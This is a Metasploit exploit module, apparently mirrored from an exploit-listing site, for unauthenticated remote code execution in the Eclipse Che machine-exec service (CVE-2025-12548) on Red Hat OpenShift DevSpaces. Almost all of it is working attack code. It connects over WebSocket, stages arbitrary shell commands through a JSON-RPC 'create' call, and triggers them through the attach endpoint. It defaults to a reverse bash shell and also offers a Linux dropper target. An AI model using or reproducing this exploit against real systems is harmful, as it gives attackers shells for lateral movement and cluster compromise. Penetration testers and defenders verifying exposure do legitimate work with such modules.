Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-ECLIPSE_CHE_MACHINE_EXEC_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::Http::WebSocket
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Eclipse Che machine-exec Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability
          in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec
          service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
          workspace containers, accepts WebSocket connections without authentication.

          An attacker can connect to the machine-exec service and execute arbitrary
          commands via JSON-RPC over WebSocket. This allows lateral movement between
          workspaces and potential cluster compromise.

          The vulnerability affects Red Hat OpenShift DevSpaces environments where
          the machine-exec service is network-accessible.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Richard Leach',                                    # Vulnerability discovery
          'Greg Durys <gregdurys.security@proton.me>'         # PoC and Metasploit module
        ],
        'References' => [
          ['CVE', '2025-12548'],
          ['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'],
          ['URL', 'https://github.com/eclipse-che/che-machine-exec']
        ],
        'DisclosureDate' => '2025-12-01',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 3333,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']),
      OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10])
    ])
  end

  # Safely close a WebSocket connection, ignoring any errors
  def safe_wsclose(wsock)
    wsock&.wsclose
  rescue StandardError
    nil
  end

  # Connect to WebSocket and return socket plus any leftover data from HTTP response.
  # The machine-exec server sends the hello message immediately after the upgrade,
  # which gets absorbed into the HTTP response body during parsing.
  def connect_ws_with_leftover(uri)
    ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16))

    http_client = connect
    raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil?

    req = http_client.request_raw({
      'uri' => uri,
      'headers' => {
        'Connection' => 'Upgrade',
        'Upgrade' => 'websocket',
        'Sec-WebSocket-Version' => '13',
        'Sec-WebSocket-Key' => ws_key
      }
    })

    http_client.send_request(req)
    res = http_client.read_response(datastore['WS_TIMEOUT'])

    unless res&.code == 101
      http_client.close
      raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res)
    end

    # WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept)
    accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'))
    unless res.headers['Sec-WebSocket-Accept'] == accept_key
      http_client.close
      raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res)
    end

    socket = http_client.conn
    socket.extend(Rex::Proto::Http::WebSocket::Interface)

    leftover = res.body.to_s
    vprint_status("Response body length: #{leftover.length}, body: #{leftover[0..100].inspect}")

    # The hello frame may arrive in the HTTP response body or shortly after.
    # If absorbed into the body, parse the raw frame bytes to extract the payload.
    # Otherwise, read a frame from the socket directly.
    if leftover.present?
      hello = parse_ws_frame(leftover)
    else
      frame = begin
        ::Timeout.timeout(datastore['WS_TIMEOUT']) { socket.get_wsframe }
      rescue ::Timeout::Error
        nil
      end
      if frame
        frame.unmask! if frame.header.masked == 1
        hello = frame.payload_data.to_s
      end
    end

    [socket, hello]
  end

  # Parse a WebSocket frame from raw data
  def parse_ws_frame(data)
    return nil if data.blank?

    frame = Rex::Proto::Http::WebSocket::Frame.new
    frame.read(data)
    frame.unmask! if frame.header.masked == 1
    frame.payload_data.to_s
  end

  def check
    begin
      wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      return CheckCode::Unknown("WebSocket connection failed: #{e.message}")
    end

    if hello.blank?
      safe_wsclose(wsock)
      return CheckCode::Unknown('No hello message received from service')
    end

    begin
      json = JSON.parse(hello)
      if json['method'] == 'connected' && json.dig('params', 'tunnel')
        safe_wsclose(wsock)
        return CheckCode::Appears('machine-exec service accepts unauthenticated connections')
      end
    rescue JSON::ParserError
      nil
    end

    safe_wsclose(wsock)
    CheckCode::Safe('Service did not respond as expected')
  end

  def exploit
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Connecting to machine-exec service...')

    begin
      wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
    end

    print_good('Connected to machine-exec service')

    if hello.blank?
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'No hello message received')
    end
    vprint_status("Received hello: #{hello}")

    print_status('Staging payload via JSON-RPC create method...')

    create_request = {
      'jsonrpc' => '2.0',
      'method' => 'create',
      'params' => {
        'cmd' => ['sh', '-c', cmd],
        'type' => 'process'
      },
      'id' => 1
    }

    wsock.put_wstext(create_request.to_json)

    frame = begin
      ::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe }
    rescue ::Timeout::Error
      nil
    end

    if frame.nil?
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'No response to create request')
    end

    frame.unmask! if frame.header.masked == 1
    response_data = frame.payload_data.to_s

    begin
      response = JSON.parse(response_data)
      process_id = response['result']
      if process_id.nil?
        error_msg = response.dig('error', 'message') || 'Unknown error'
        safe_wsclose(wsock)
        fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}")
      end
      print_good("Command staged with process ID: #{process_id}")
    rescue JSON::ParserError
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
    end

    safe_wsclose(wsock)

    print_status("Triggering execution via /attach/#{process_id}...")

    begin
      wsock_attach = connect_ws({
        'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s)
      })
      print_good('Payload triggered!')
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}")
    end

    safe_wsclose(wsock_attach)
  end
end